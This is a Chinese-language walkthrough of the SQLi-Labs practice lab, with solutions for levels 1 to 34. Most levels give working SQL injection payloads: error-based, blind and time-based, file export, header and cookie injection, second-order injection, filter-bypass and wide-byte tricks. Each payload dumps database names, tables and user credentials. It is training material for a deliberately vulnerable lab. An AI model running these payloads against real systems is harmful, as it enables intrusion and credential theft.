SQLi-Labs通关手册
SQLi-Labs通关手册(Less-1~Less-65)
编写人:Rannnn
声明
本手册为线上资料加自己的见解编写而成,手册中的所有代码都已经在环境内试验过,如有误请见谅并反馈给我,我会进行更正
第一部分:Basic Injections
Less-1:
首先输入?id=1
查看页面回显,
判断是否为字符型或整数型注入
判断出为字符型注入,下面判断列数
得知列表有三列,下面查看页面显示位
得知2和3用于显示用户名和密码,下面利用这两个回显位查看数据库用户和数据库名
得知数据库名为security,下面开始爆表和字段
爆出内容
Less-2
判断字符型还是数字型注入
当输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有可以猜测sql语句应该是数字型注入,直接爆列数
得知表格列数有3列,查看回显位
利用回显位查看数据库用户和数据库名
爆数据表
爆字段名
爆数据表内容
Less-3
判断字符型还是数字型
发现当加入单引号时报错提示需要括号闭合
正常显示,以此为基础,判断列表列数
列表数3列,判断回显位
爆数据库用户和数据库表
爆数据表
爆字段名
爆数据内容
Less-4
判断字符型还是数字型,当输入双引号时,提示报错,加入括号闭合后正常,输入1=2后无回显,判断为字符型
查看列表列数
列表列数3列,查看回显位
查看数据库名和数据库用户
爆数据库表
爆数据表字段
爆数据内容
Less-5
判断字符型还是数字型,这一关与其他不同,输入的id正确回显You are in………
,错误则不回显
在末尾输入单引号后则输出报错信息
继续输入order by 4 --+
后得知列表列数有3列
此题可用报错注入的方式进行解题,**updatexml()**函数+**concat()**:拼接特殊符号和查询结果。成功查询数据库用户信息
?id=-1' and updatexml(1,concat(1,(select user())),1)--+ |
继续查看数据库名
?id=0' and updatexml(1,concat(1,(select database())),1)--+ |
爆数据表,使用information_schema库查看数据表
?id=0' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),1)--+ |
爆数据表内字段名
?id=0' and updatexml(1,concat(1,(select column_name from information_schema.columns where table_name='users' limit 2,1)),1)--+ |
爆数据内容
?id=0' and updatexml(1,concat(1,(select username from users limit 0,1)),1)--+ |
按照顺序一直往下爆破即可
Less-6
方法与Less-5一样,只需将单引号替换为双引号即可
Less-7
此关提示使用dump into outfile也就是使用文件导出的方法进行注入
前提条件:MySql 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作,使用这条命令可以查看:show variables like '%secure%';
,通过修改 MySQL 下的 my.ini 配置文件就可以启用权限,需要把下面这个字符串写入文件中。secure_file_priv="/"
,再次查看此参数,若参数值不为 null 则修改成功。
首先查询网站主目录
此关无回显,只能通过之前的关卡得知主目录
由此可推断出,这是带双括号的单引号注入
读写权限测试,如果返回正常则有读取权限
利用into outfile 进行查看数据,这里报错为正常,文件已生成
下面根据之前的关卡注入的顺序进行查询数据,注意:导出的文件名不能重复,重复不会覆盖
Less-8
根据题目提示可知这是单引号注入且需要通过盲注进行通关,那么首先利用单引号看一下网页的回显
测试是否是注入点
发现什么也没有,也就是说网页不会返回任何报错信息,也不会返回其他信息即没有任何回显信息
Less1、5、7、8回显对比
Less | 注入方法 | 正确回显 | 错误回显 |
---|---|---|---|
1 | 基于错误注入 | 查询到的用户名和密码 | Mysql错误信息 |
5 | 双注入/盲注 | You are in……….. | Mysql错误信息 |
7 | 导出文件注入 | You are in…. Use outfile…… | You have an error in your SQL syntax |
8 | Bool型盲注 | You are in……….. | 无任何信息 |
查看源代码后发现虽然不会报错,但是可以通过正确回显和错误回显返回页面数据的不同进行对比,正确为true,错误为false,可以利用布尔盲注进行猜数据库信息
利用 left(version(),1)进行尝试,查看一下 version(),这里猜测版本号第一位为5,结果为正确
查看数据库的长度,长度为8 时,正确回显,说明长度为8
猜测数据库第一位
知道后台数据库名为 security,所以看它的第一位是否 > r,很明显的是 s > r,因此正确回显。当不知情的情况下,可以用二分法来提高注入的效率。(比对使用ascii码,s:115 r:114)
接下来就继续猜测第三位,第四位,直到猜出正确的数据库
利用 substr() ascii()函数进行猜解security数据库表
猜第一个表的第一个字符(ASCII: 80-P 100-d 101-e 一般表名都是小写的,这里用80只是举例子)
页面回显正确
页面回显正常
页面回显错误
由此推断出securrity第一个表的第一个字符为e(要特别注意的是语句之间是一个空格,可能会导致返回异常,经过研究发现,如果对注入语句进行url编码,那么多几个空格都不会返回异常了,这种最保险。)
获取第一个表的第二个字符(ASCII码: 108-l 109-m),可推断出第一个表第二个字符为m,同理推出第3,4,5,6字符,最终推出emails表
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>80 -- # |
猜数据库第二个表第一个字符(ASCII码 113-q 114-r), 可推出第二个表第一个字符为r,同理可推出第二个表的第3,4,5,6,7,8,最终推出referers表
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>80 -- # |
接下来就是重复造轮子了,然后推出了uagents表,users表,id表,毫无疑问是需要users表的信息
利用 regexp (正则表达式)获取security数据库中 users 表中的列名(字段名就是列名)
?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^usern[a-z]' limit 0,1) -- # |
由此推出有字段username,接下来重复步骤推出字段password
利用 ord()和 mid()函数获取 users 表的username字段内容 (ASCII码 68-D,0x20-空格,u-117 109-m 98-b 65-A)
?id=1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))>65-- # |
由此推出第一个用户名第一个字符为D,然后重复推出完整的用户名为Dumb
获取第二个用户名
?id=1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 1,1),1,1))>65-- # |
由此推出第二个用户名第一个字符为A,然后重复推出完整的用户名为Angelina…..然后重复造轮子,推断出13个用户名
利用 ord()和 mid()函数获取 users 表的password字段内容
与上步骤雷同,只需把上面的语句username换成password即可。
PS:布尔盲注耗费时间长,建议使用python脚本(例如:sqlmap)
Less-9
输入任何参数,页面都只有一种响应结果:You are in………..
无回显位置,不适合联合注入;
无报错信息,不适合报错注入;
查询的正确与否不会影响页面的响应(只有一种响应),不适合布尔盲注。
综上所述,考虑使用延时盲注。
判断注入条件
页面响应时间超过五秒,确定存在延时盲注
判断数据库名长度
页面延时,说明长度大于1,一次递增长度判断,后面耗时长,建议使用python或其他自动化脚本猜解
枚举字符
长度确定后,依次截取每一个字符,使用穷举法判断出字符的真实内容(为了方便脚本编写,此处将字符转换为ASCLL后再进行枚举)
页面延时,说明字符的ASCLL码大于1,依次递增判断其余字符内容的可能性(32~126)。
猜解出第一个字符后,在依次判断其余字符,后面建议使用python或其他自动化脚本猜解。
下面就是脱库,附上大佬代码,当然也可以使用sqlmap(见手册末尾附录2)
Less-10
第十关和第九关一样只需要将单引号换成双引号。
Less-11
此关为账户登录页面,且请求方式从GET方法变为POST方法,参数从一个变为两个,形式大概为username=参数 and password=参数
,需要判断字符型还是数字型注入
当输入1时出现错误图片
在末尾加上一个单引号,出现错误信息,根据报错可以推断此关sql语句为username='参数' and password='参数'
了解了sql语句就可以构造一个恒成立的sql语句,这里使用--+
注释失败,可以使用#
进行注释,其他和第一关类似,使用联合查询即可获取想要的信息
判断出列表列数为二,回显位2个
查询出数据库名和数据库用户
下面步骤与第一题一样,这里不再赘述
Less-12
当我们输入1’和1时候页面没有反应
当输入1”的时候页面出现报错信息,就可以知道sql语句是双引号且有括号。
那么我们可以构造下面语句进行sql注入。
1" ) or 1=1 # 判断是否存在sql注入。 |
下面的步骤与上题类似
Less-13
十三关和十二关差不多,只需要将双引号换成单引号。
Less-14
十四关和十一关差不多,只需要将单引号换成双引号。
Less-15
经过尝试,发现单引号闭合引起登录成功
那么从这里我们可以初步判断出是单引号字符注入,且从登录失败到成功可以联想到true和false从而想到布尔盲注,此关标题也提示我们使用布尔盲注,根据之前的题目语句进行修改即可
猜数据库第一位:(利用二分法):(特别提醒这里的逻辑运算符要用 or) |
由此推断出数据库第一位为s.那么猜第二位:uname=1' or left(database(),2)>'sa'#&passwd=1
等等。。。
另一种方法:延时注入
布尔盲注是一个思路,那么延时注入就是另一个思路了,这得参考Less-9了,知道了单引号闭合的问题,下面就直接开始吧:
PS:要是直接进行延时注入的话,不用万能语句的话就用下面的测试语句,正确的时候直接返回,不正确的时候等待 5 秒钟
uname=1' or if(1,1,sleep(3)) #&passwd=1 |
Hint:常用的判断语句
' or if(1,1,sleep(5)) # |
注意:POST型延时注入比GET型延时注入还要慢,所以利用if()函数–》 正确的时候直接返回,不正确的时候等待 5 秒钟 这样的形式能加快一点点速度,且不能使用 if(1,sleep(5),1) ,原因在于uname=1’ or if(1,sleep(5),1) 的时候 uname=1本身是false,而if(查询语句,sleep(5),1)中查询语句为true执行sleep(5)那么语句就变成了uname=1’ or sleep(5) # 这样的语句一看就是false,所以不能这么写。
猜数据库长度
再次强调&passwd=1
不能少,因为后台源码中设置uname和passwd这两个参数任何一个都不能为空,一旦其中一个为空将不会执行SQL语句
uname=1' or if(length(database())=x,1,sleep(5))#&passwd=1 |
x从4开始增加,增加到8有明显的延迟,说明数据库的长度是8;
uname=1' or if(length(database())=8,1,sleep(5))#&passwd=1 |
喜欢整洁美观的()就这样写(反正一样):
uname=1&passwd=1' or if(length(database())=8,1,sleep(5))# |
猜数据库名(可以用 < > = 比较,对字符进行范围的判断,然后用二分法不断缩小范围)
uname=1&passwd=1' or If(ascii(substr(database(),1,1))=115,1,sleep(5))# |
猜数据库中的表
uname=1&passwd=1' or If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))# |
猜users表里的列(ASCII码 i-105)
uname=1&passwd=1' or If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,1,sleep(5))# |
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password
注意:and table_schema=database()这条语句不能少是因为要排除其他数据库可能也会有users表
猜users表里的username的值(ASCII码 D=68)
uname=1&passwd=1' or If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))# |
猜测 username 的第一行的第一位
以此类推,我们得到数据库 username,password 的所有内容:(13个账户与密码)
小总结
来波小总结,参考文档(https://www.jianshu.com/p/b9ceed993ad4):
0x01. 注入方式与回显对比
GET
Less | 注入方法 | 正确回显 | 错误回显 |
---|---|---|---|
1 | 基于错误注入 | 查询到的用户名和密码 | Mysql错误信息 |
5 | 双注入 | 固定字符串 | Mysql错误信息 |
7 | 导出文件注入 | 固定字符串 | 另一固定字符串 |
8 | Bool型盲注 | 固定字符串 | 无 |
9 | Time型盲注 | 固定字符串 | 同一固定字符串 |
POST
Less | 注入方法 | 成功回显 | 失败回显 | 错误回显 |
---|---|---|---|---|
11 | 基于错误注入 | 用户名和密码 (flag.jpg) | 无 (slap.jpg) | Mysql错误信息 (slap.jpg) |
13 | 双注入 | 无 (flag.jpg) | 无 (slap.jpg) | Mysql错误信息 (slap.jpg) |
15 | Bool/Time型盲注 | 无 (flag.jpg) | 无 (slap.jpg) | 无 (slap.jpg) |
注意:GET和POST差别在于,GET只需要提交参数id
,而POST则需要username
与password
都正确。
0x02. 分析查询语句
不像GET中若出现错误回显必是Mysql语法错误(提交时使id存在),POST若不返回Mysql错误信息,光凭一个登录失败是分不清是用户名和密码不正确还是出现了Mysql语法错误。
所以我们就需要在POST时构造永真条件使返回忽略用户名和密码不正确这种情况。若将查询语句闭合则会显示登陆成功,则可以依次增加小括号个数分析查询语句:
uname=1&passwd=1 or 1=1--+ |
Less-16
利用了万能语句,初步确定这是一道带括号的双引号字符型注入
下面的步骤与Less-15一样的套路,盲注/延时注入都可以,这里演示一个
猜数据库长度: uname=1&passwd=1") or if(length(database())=8,1,sleep(5))#
附上源码
Less-17
此关和前面的关有很大不一样,根据页面展示是一个密码重置页面。查看源码,是根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。再执行这条sql语句之前会对输入的账户名进行检查,对输入的特殊字符转义。所以我们能够利用的只有更新密码的sql语句。sql语句之前都是查询,这里有一个update更新数据库里面信息。所以之前的联合注入和布尔盲注以及延时盲注都不能用了。可以使用报错注入。
判断代码:
这里的注入方式与Less-5用的相同,报错注入可以选择extractvalue()报错注入,updatexml()报错注入和group by()报错注入。
之前的题目没有介绍报错注入,下面简单说一下者三种报错注入的原理。
需要注意:下面的注入代码要写在password输入框内,且用户名需要填写数据库内原有的用户(如admin等)
extractvalue报错注入
extractvalue(XML_document,XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
作用:从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错,下面的语法就是错误的。concat和我前面说的的group_concat作用一样
下面是报错注入代码,在最后一步爆字段内容时候,会报错,原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表。这个关卡需要输入正确账号因为是密码重置页面,所以爆出的是该账户的原始密码。如果查询时不是users表就不会报错。
爆版本 |
updatexml报错注入
UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
当我们XPath_string语法报错时候就会报错,updatexml()报错注入和extractvalue()报错注入基本差不多。
下面已将该报错注入代码给到大家,最后爆字段和上面一样如果加一个中间表。
爆版本 |
group by报错注入
group by 报错可以看这个文章,此文章博主写的很清楚。这个报错注入比前面两个复杂一点。
[mysql group by报错注入_sql注入group by-CSDN博客](https://blog.csdn.net/qq_51524329/article/details/126371091?ops_request_misc=%7B%22request%5Fid%22%3A%22172170078316800222839442%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&request_id=172170078316800222839442&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-1-126371091-null-null.142^v100^pc_search_result_base4&utm_term=深入理解group by报错注入&spm=1018.2226.3001.4187)
爆数据库 |
Less-18
此关在输入用户名和密码以后,发现屏幕上回显了我们的IP地址和我们的User Agent
用hackbar抓取POST包,在用户名和密码的位置判断注入点,这里我试了很久,发现用户名和密码的位置都是没有注入点的,那是不是代表这关不存在SQL注入漏洞呢,我们注意到一个特点,页面回显了我们的User Agent,所以我们猜想可能注入点在User Agent这里
使用BurpSuite抓取数据包,看到数据包中出现了User Agent
猜想可能注入点在User Agent这里,删掉User Agent的内容输入个’试试
我们发现输入’时系统报错,证明有SQL注入漏洞,这里有完整的错误回显,根据错误回显我们判断闭合方式为’#,并且为字符型注入,所以我们利用报错注入攻击
这里还有一个问题,进行注释的时候,–+,#,;%00都用不了,所有这里我们利用or '1'='1
查表
' and updatexml(1,concat(1,(select database())),1) or '1'='1 |
依次猜解所有表,查到users表(注意:由于数据有多条,但是报错注入一次只能显示一条数据,所以在SQL语句末尾加上limit
参数进行逐条显示)
' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),1) or '1'='1 |
查字段
' and updatexml(1,concat(1,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1) or '1'='1 |
查值(username)
查值(password)
Less-19
当输入正确的账户密码时会显示自己的Referer,可以使用这个信息进行报错注入
使用BurpSuite抓包,发现数据包内有Referer信息,可以修改此信息进行注入
报错注入代码与Less-18一样
' and updatexml(1,concat(1,(select database())),1) or '1'='1 |
注入步骤与Less-18一样,这里不再赘述
Less-20
本关在输入正确的账户密码后会显示当前用户的cookie,可以通过修改cookie实现注入
使用BurpSuite抓包,发现数据包内有cookie信息,可以修改此信息进行报错注入
报错注入代码与Less-18和Less-19一样
步骤与上两题一样,不再赘述
第二部分:Advanced Injections
Less-21
本关看起来与上题一样,但是抓包后发现cookie是一串字符,一看就知道是base64
可以将单引号进行编码发回给页面,可以发现报错并且还得有括号。
将注入代码进行编码,可以看到爆出账户密码。注入代码与上题一样
步骤一样,不再赘述
Less-22
此关和Less-21一样只不过cookie是双引号base64编码,没有括号。
Less-23
本关又回到了GET传参方式。
查看源代码后发现关键的sql语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; |
从该SQL语句中我们可以看出如果我们要构造payload那么我们需要做的就是闭合前面的单引号、同时闭合后面的单引号。
尝试报错注入,成功
Less-24
提示说:please login to continue,请登录以继续。
没有账号怎么登录?
当然是选择注册
开始注入
注册 admin’ # 账号,密码我们随便设置,这里设置12345
注意此时的数据库中出现了 admin’ # 的用户,还要注意此时原账户admin的密码为admin
登录账户 admin’ #,并修改密码为123
修改成功(此时真的是修改admin ‘#的密码吗)
查看修改后数据库,发现admin的密码成了123,而admin ‘#的密码并没有重置:
使用更改的密码123
登录admin账户,显示登录成功
这就是二次注入,它的原理是:
(1)后端(PHP)代码对语句进行了转义
(2)保存进数据库(mysql)时没有转义,是原语句
简而言之就是数据库对自己存储的数据非常放心,而用户恰恰向数据库插入了恶意语句。
解析:
比如前面所注册的admin ‘#账号,在注册时,后端对其进行了转义( addslashes() 或者mysql_real_escape_string和mysql_escape_string 等),’#被转义成了其他的东西,所以一次注入无效。
但是在保存进数据库的时候,还是admin ‘#。
那么修改密码时的语句如下:
update users set password='123' where username='admin '#' |
所以你以为修改的是admin '#
的账号,但是数据库理解成要修改密码的账号是admin
。
代码审计
login.php
login_create.php
pass_change.php
这几个文件出现频率最高的代码是session_start()
资料参考:
session_start() 会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。
session_start的作用是开启$_SESSION
,需要在$_SESSION
使用之前调用。
PHP $_SESSION 变量用于存储关于用户会话(session)的信息
继续分析:
login.php
PHP mysql_real_escape_string() 函数 |
可以看到代码对username和passseord的特殊字符进行了转义,想要在这里进行注入就得采取“绕过”,但这不是我们这道题想要的解法,我们就当这里无法注入好了,也就是说在登录页面login.php处无法进行注入。
登录成功后创建session
和cookie
,session
存储username
,但session
是建立在服务器上的对象,所以无法获取;cookie
只是个登录标记,几乎没有任何用处。(会话15分钟后过期)
login_create.php
此SQL语句代码运行结果(以admin为例)
创建用户前先查询是否已经存在该账户,若存在则弹出一个对话框,不存在就创建
这里要注意:mysql_escape_string()
和mysql_real_escape_string()
是不同的,前者早在PHP 5.3
中被弃用。
mysql_escape_string() 并不转义 % 和 _。 本函数和 mysql_real_escape_string() 完全一样,除了mysql_real_escape_string() 接受的是一个连接句柄并根据当前字符集转移字符串之外。mysql_escape_string()并不接受连接参数,也不管当前字符集设定
也就是说:mysql_escape_string()没办法判断当前的编码,mysql_real_escape_string()之所以能够防注入是因为同时指定了服务端的编码和客户端的编码。
综上:username,password,re_password 这三个字段所传递的字符是要被转义的。
pass_change.php
重点来了:
从session中直接获得了当前用户名,且被直接用于更新语句并未做检查。
从根本上来说,插入数据时没有过滤,只是做了转义处理。
若当前用户名中含有注释,便可以修改当前用户名中包含的另一用户的密码,例如注册用户:admin’– # 那么他就可以修改用户admin的密码。
此关卡中我们的步骤是注册一个 admin’ # 的账号,接下来登录该帐号后进行修改密码。此时修改的就是 admin 的密码
注入点在修改密码处
UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass' |
要将其变为:
UPDATE users SET PASSWORD='$pass' WHERE username='$username' # and password='$curr_pass' |
也就是执行了:
UPDATE users SET PASSWORD='新密码' WHERE username='admin' |
防范
至于如何防范二次注入也很简单:
一碗水端平,后端进行了转义,数据库也同样进行转义。
Less-25
本关根据提示是将or和and这两个替换成空,但是只替换一次。大小写绕过没有用。我们可以采用双写绕过。本次关卡使用联合注入就可以了,information里面涉及or可以写成infoorrmation。注入方式与前几题使用联合注入的步骤相同,不再赘述
Less-25a
此题与上题类似,上题为字符型注入,此题为数字型注入,只需将id后面的单引号去掉即可
Less-26
注入正常的参数,网页返回对应 id 的正常信息。当注入单引号进行闭合时,网页返回错误信息,从提示中可以看到注入的注释符被过滤了。
测试以下所有的参数,“OR”、“AND” 所有的注释符和空格全部都被过滤了。
?id=1'# |
单引号没有被过滤,我们使用两个单引号分别闭合前后的引号。网页回显正常的内容,说明该网页存在单引号闭合的字符型注入。
对于被过滤的字符,可以使用其他的字符进行替代,使用 “%a0” 或 “%0b” 替代空格,使用 “||” 替代 “or”,使用 “%26%26” 替代 “and”。例如:
-1' || 1 = 1 || ' |
此时我们可以使用 updatexml() 报错注入,因为这种手法不需要考虑空格的问题。爆数据库名。
?id=-1' || updatexml(1,concat(0x7e,database()),1) || '1'='1 |
爆表名
?id=1' || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema='security'))) ,1) || '1'='1 |
爆字段名
?id=1'||updatexml(1,concat(1,(SELECT (group_concat(column_name)) FROM (infoorrmation_schema.columns) WHERE (table_schema='security' %26%26 table_name = 'users'))) ,1) || '1'='1 |
爆数据内容
这里我们无法直接从 users 表拿数据,我们可以先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。构造出的 payload 如下,思路就是利用一个查询从另一个查询中取出数据,以此绕过表的限制。注意到 “password” 要使用双写绕过,使用括号来代替空格的划分作用。
?id=-1' || updatexml(1,concat(0x0a,(SELECT(group_concat(concat_ws(0x3a,username,passwoorrd))) FROM (security.users) WHERE (id = 1) )) ,1) || '1'='1 |
Less-26a
注入正常的参数,网页返回对应 id 的正常信息,注入两个单引号分别闭合前后的引号。网页回显正常的内容,说明该网页存在单引号闭合的字符型注入。
?id=1'' |
想要进一步测试是否有括号时,网页没有回显信息,说明此时的错误信息不回显到网页上。此错误信息为环境问题,与题目无关
?id=1') |
尝试构造左右半边的空格来闭合,网页回显正常,说明参数有使用单层括号来闭合。
?id=1') || ('1 |
获取数据库信息
由于报错信息不回显,所以 updatexml() 报错注入不能使用。此处就需要使用 URL 编码来代替空格,然后用 UNION 注入。判断有几列可用,别忘了 “ORDER” 中的 “or” 被过滤掉了。
?id=1')%a0OorRDER%a0BY%a03||('1 |
判断回显位置,此时注入的参数中的负号也被当做注释符,已经被过滤了。
?id=9999')%a0UNION%a0SELECT%a01,2,3%a0||('1 |
爆数据库名
?id=9999')%a0UNION%a0SELECT%a01,database(),3%a0||('1 |
爆表名
?id=9999')%a0UNION%a0SELECT%a01,group_concat(table_name),3%a0FROM%a0infoORrmation_schema.tables%a0WHERE%a0table_schema = 'security'%a0||('1')=('2 |
爆字段名
?id=9999')%a0UNION%a0SELECT%a01,group_concat(column_name),3%a0FROM%a0infoORrmation_schema.columns%a0WHERE%a0table_schema='security'%a0AandND%a0table_name='users'%a0||('1')=('2 |
爆数据内容
这里也是用其他符号代替空格即可,注意使用 WHERE 闭合后面的单引号和括号。
?id=9999')%a0UNION%a0SELECT%a01,group_concat(concat_ws(":",username,passwoORrd)),3%a0FROM%a0users%a0WHERE%a0('1 |
Less-27
注入正常的参数,网页返回对应 id 的正常信息。单引号没有被过滤,使用两个单引号分别闭合前后的引号。网页回显正常的内容,说明该网页存在单引号闭合的字符型注入。
测试以下所有的参数,这次 “OR”、“AND” 没被过滤,不过所有的注释符和空格还是被过滤了。
?id=1'# |
获取数据库信息
此处可以使用 updatexml() 报错注入,也可以使用 URL 编码来代替空格后用 UNION 注入。判断有几列可用,别忘了 “ORDER” 中的 “or” 被过滤掉了。
?id=1'%a0ORDER%a0BY%a03||'1'='1 |
判断回显位置,注意该注入返回了错误信息。从提示可以看到,“SELECT” 和 “UNION” 统统被过滤了。
?id=9999'%a0UNION%a0SELECT%a01,2,3%a0or%a0'1'='1 |
可以使用大小写绕过来绕过过滤机制,也就是使用的 “SELECT” 和 “UNION” 是大小写混杂的。
?id=9999'%a0UNiON%a0SElECT%a01,2,3%a0or%a0'1'='1 |
爆数据库名
?id=9999'%a0UNiON%a0SELeCT%a01,database(),3%a0or%a0'1'='1 |
爆表名
?id=9999'%a0UNiON%a0SELeCT%a01,group_concat(table_name),3%a0FROM%a0information_schema.tables%a0WHERE%a0table_schema = 'security'%a0or%a0'1'='2 |
爆字段名
?id=9999'%a0UNiON%a0SELeCT%a01,group_concat(column_name),3%a0FROM%a0information_schema.columns%a0WHERE%a0table_schema='security'%a0AND%a0table_name='users'%a0or%a0'1'='2 |
获取目标信息
获取所有用户名和对应的密码
?id=9999'%a0UNiON%a0SELeCT%a01,group_concat(concat_ws(":",username,password)),3%a0FROM%a0users%a0WHERE%a0'1 |
Less 27a
注入正常的参数,网页返回对应 id 的正常信息。单引号没有被过滤,无论使用几个单引号闭合网页回显正常的内容,说明不是用单引号闭合。注入双引号,网页无任何回显。注入两个双引号闭合,网页回显正常信息,说明此处存在双引号闭合的字符型盲注
?id=1"" |
除了闭合的符号不同,其他的和 Less 27 一样。判断有几列可用。(需要把php的这个开关打开才能正常回显)
?id=1"%a0ORDER%a0BY%a03or%a0"1"="1 |
判断回显位置(需要把这个开关关掉才能正常回显)
?id=9999"%a0UNiON%a0SElECT%a01,2,3%a0or%a0"1"="1 |
爆数据库名
?id=9999"%a0UNiON%a0SELeCT%a01,database(),3%a0or%a0"1"="1 |
爆表名
爆字段名
?id=9999"%a0UNiON%a0SELeCT%a01,group_concat(column_name),3%a0FROM%a0information_schema.columns%a0WHERE%a0table_schema='security'%a0AND%a0table_name='users'%a0or%a0"1"="2 |
获取目标信息
获取所有用户名和对应的密码
?id=9999"%a0UNiON%a0SELeCT%a01,group_concat(concat_ws(":",username,password)),3%a0FROM%a0users%a0WHERE%a0"1 |
Less-28
注入正常的参数,网页返回对应 id 的正常信息。单引号没有被过滤,使用两个单引号闭合返回正常的信息
?id=1'' |
进一步测试闭合类型,使用单引号和括号闭合回显正常的信息,说明网页是使用单引号和括号进行闭合
?id=1') OR ('1 |
获取数据库信息
除了闭合的符号不同,其他的和 Less 27 一样。判断有几列可用
?id=1')%a0ORDER%a0BY%a03%a0or%a0('1')=('1 |
判断回显位置
?id=9999')%a0UNiON%a0SElECT%a01,2,3%a0or%a0('1')=('1 |
爆数据库名
?id=9999')%a0UNiON%a0SELeCT%a01,database(),3%a0or%a0('1')=('1 |
爆表名
?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(table_name),3%a0FROM%a0information_schema.tables%a0WHERE%a0table_schema = 'security'%a0or%a0('1')=('2 |
爆字段名
?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(column_name),3%a0FROM%a0information_schema.columns%a0WHERE%a0table_schema='security'%a0AND%a0table_name='users'%a0or%a0('1')=('2 |
获取目标信息
获取所有用户名和对应的密码
?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(concat_ws(":",username,password)),3%a0FROM%a0users%a0WHERE%a0('1 |
Less-28a
注入正常的参数,网页返回对应 id 的正常信息。单引号没有被过滤,使用一个单引号闭合无回显。
?id=1' |
使用两个单引号闭合回显正常,说明此处存在单引号闭合的盲注
?id=1'' |
进一步测试闭合类型,使用单引号和括号闭合回显正常的信息,说明网页是使用单引号和括号进行闭合。
?id=1') OR ('1 |
注入过程和 Less 28 完全一样。这里就只放代码了
判断有几列可用
?id=1')%a0ORDER%a0BY%a03%a0or%a0('1')=('1 |
判断回显位置
?id=9999')%a0UNiON%a0SElECT%a01,2,3%a0or%a0('1')=('1 |
爆数据库名
?id=9999')%a0UNiON%a0SELeCT%a01,database(),3%a0or%a0('1')=('1 |
爆表名
?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(table_name),3%a0FROM%a0information_schema.tables%a0WHERE%a0table_schema = 'security'%a0or%a0('1')=('2 |
爆字段名
?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(column_name),3%a0FROM%a0information_schema.columns%a0WHERE%a0table_schema='security'%a0AND%a0table_name='users'%a0or%a0('1')=('2 |
获取目标信息
获取所有用户名和对应的密码
?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(concat_ws(":",username,password)),3%a0FROM%a0users%a0WHERE%a0('1 |
Less-29
此关会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。
爆数据表
?id=1&id=-2%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ |
爆字段
?id=1&id=-2%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+ |
爆账户密码
?id=1&id=-2%27%20union%20select%201,group_concat(password,username),3%20from%20users--+ |
Less-30
此关和Less-29差不多,将单引号换成双引号
爆表 |
Less-31
三十一关和三十关差不多,多了一个括号
爆表 |
Less-32
输入id=1,页面正常显示,加入单引号,发现输入的单引号直接被转义成/
了,在一般情况下,这里是不存在SQL注入的,不过有一个特殊点,那就是当数据库的编码为GBK时,可以使用宽字节注入
宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中,%df%5c是繁体字“連”,所以这时,单引号成功逃逸,报出MySQL数据库的错误。
查看源码,发现的确使用了GBK编码,这里我们可以在单引号前面输入%df让单引号成功逃逸
?id=1%df' |
根据错误显示判断闭合方式为’–-+
,且为字符型注入
判断回显位
?id=-1%df' union select 1,2,3--+ |
爆数据库和表
?id=-1%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+ |
这里注意,单引号被转义了,不能输入table_schema='security'
,这里输入的是table_schema=database()
,只是一个简单的联合查询,意思一模一样
查看字段
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+ |
这里也需要注意,不能出现单引号,于是我们在users前面加入0x,然后将users转化为16进制
查看数据内容
?id=-1%df' union select 1,2,group_concat(username,id,password) from users--+ |
Less-33
本关和Less-32一模一样
Less-34
注入正常的参数,网页回显正常信息。注入单引号对参数进行闭合,网页虽然返回了正确的信息,但是对单引号进行了转义。
